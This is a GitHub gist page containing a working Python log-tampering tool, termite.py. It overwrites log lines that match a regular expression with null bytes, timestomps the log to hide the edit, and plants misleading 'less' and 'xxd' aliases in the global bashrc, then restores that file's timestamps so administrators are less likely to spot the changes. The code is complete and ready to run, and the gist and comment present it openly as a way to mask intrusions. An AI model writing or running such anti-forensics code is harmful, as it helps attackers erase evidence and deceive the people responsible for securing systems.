Skip to content

Instantly share code, notes, and snippets.

@cetaSYN
Created December 2, 2019 03:16
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save cetaSYN/42108947594eed4015fa49f44d3cb3ef to your computer and use it in GitHub Desktop.
Save cetaSYN/42108947594eed4015fa49f44d3cb3ef to your computer and use it in GitHub Desktop.
Overwrites matching logs in a single read/write pass while maintaining date and aliasing some log-reading tools
#!/usr/bin/env python
'''
File Name: termite.py
Author: cetaSYN
Created Date: 20 Apr 18
Python Version: 2.7
Matches logs using regular expressions then overwrites the matching lines.
Overwrite operation occurs in same pass as read, and overwrites with \x00
Automatically timestomps and adds aliases to help mask changes from admins.
'''
from __future__ import with_statement
from __future__ import print_function
from dateutil.parser import parse
import time
import argparse
import re
import os
def main():
parser = argparse.ArgumentParser(
description='Removes lines from a log matching a regex')
parser.add_argument('target_file', help='File to target for line removal')
parser.add_argument('regex',
help='Regular expression to match for line removal')
parser.add_argument('-nb', '--nobashrc', action='store_true',
help='Don\'t alias common admin commands')
args = parser.parse_args()
regex = re.compile(args.regex)
# Verify we have adequate access to the target
if not os.access(args.target_file, os.F_OK):
exit('File does not exist.')
if not os.access(args.target_file, os.R_OK):
exit('No read access.')
if not os.access(args.target_file, os.W_OK):
exit('No write access.')
if not alias_global():
try:
raw_input("Could not alias global bashrc.\nPress [Enter] to" +
"ignore and continue, or [Ctrl-C] to quit.")
except KeyboardInterrupt as kerr:
print("\nExiting...")
exit()
results = clean_log(args.target_file, regex)
print('Cleaned {} logs from {}.'.format(results[0], args.target_file))
timestomp(args.target_file, results[1])
print('Timestomped {} to {}.'.format(args.target_file, results[1]))
def clean_log(target, regex):
""" Removes logs from target log file that match regex.
Returns tuple of number of logs cleaned and most recent intact log.
"""
# Clean logs
cleaned_count = 0
with open(target, 'r+') as target_file:
while True:
point = target_file.tell() # Store the start of the line
line = target_file.readline()
# Check if we're at the end of the file
if len(line) == 0:
break # Break if we're at the end
# Overwrite matching logs
if regex.search(line): # If the line matches regex increment
cleaned_count += 1
target_file.seek(point) # Go back to the beginning of the line
# Overwrite with control chars character
target_file.write('\x00'*((len(line))))
continue
try:
# Save a valid timestamp
newest_timestamp = parse(' '.join(line.split()[0:3]))
except ValueError as verr:
print('Timestamp parsing error. May not be able to timestomp.')
return (cleaned_count, newest_timestamp)
def timestomp(target_file, timestamp):
""" Timestomps a target file to a specified date
"""
timestamp = int(time.mktime(timestamp.timetuple()))
os.utime(target_file, (timestamp, timestamp))
def timestomp_am(target_file, atime, mtime):
""" Timestomps a target file to a specified date
"""
os.utime(target_file, (atime, mtime))
def alias_global():
""" Attempts to modify global bashrc files to append malicious aliases.
"""
alias_file = '/etc/bash.bashrc'
# Check if we have access to global config
if not os.access(alias_file, os.F_OK):
alias_file = '/etc/bashrc'
if not os.access(alias_file, os.F_OK):
print('Could not find global bashrc.')
return False
if not os.access(alias_file, os.R_OK):
print('No read access to {}.'.format(alias_file))
return False
# Check if we have already put them in place.
if not has_aliases(alias_file):
if not os.access(alias_file, os.W_OK):
print('No write access to {}'.format(alias_file))
return False
# We have access. Do it.
append_aliases(alias_file)
return True # Success, either now or earlier.
def has_aliases(alias_file):
""" Checks if the global bashrc already has one or more of our aliases.
"""
with open(alias_file, 'r') as alias:
data = alias.read()
if "alias less=\'less -r\'\n" in data or \
"alias xxd=\'xxd -a\'\n" in data:
return True
return False
def append_aliases(alias_file):
""" Appends custom aliases to make spotting our log-modding less likely.
Automatically timestomps to previous atime/mtime.
"""
atime = os.path.getatime(alias_file)
mtime = os.path.getmtime(alias_file)
with open(alias_file, 'a') as alias:
alias.write("\n")
alias.write("# Enables raw printing for administration commands.\n")
# Enables raw char printing (\x00 is non-printable) for less
alias.write("alias less=\'less -r\'\n")
# Enables \x00 auto-skip, so we blend easier
alias.write("alias xxd=\'xxd -a\'\n")
timestomp_am(alias_file, atime, mtime)
if __name__ == '__main__':
main()
@cetaSYN
Copy link
Author

cetaSYN commented Dec 2, 2019

Matches logs using regular expressions then overwrites the matching lines.
Overwrite operation occurs in same pass as read, and overwrites with \x00
Automatically timestomps and adds aliases to help mask changes from admins.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment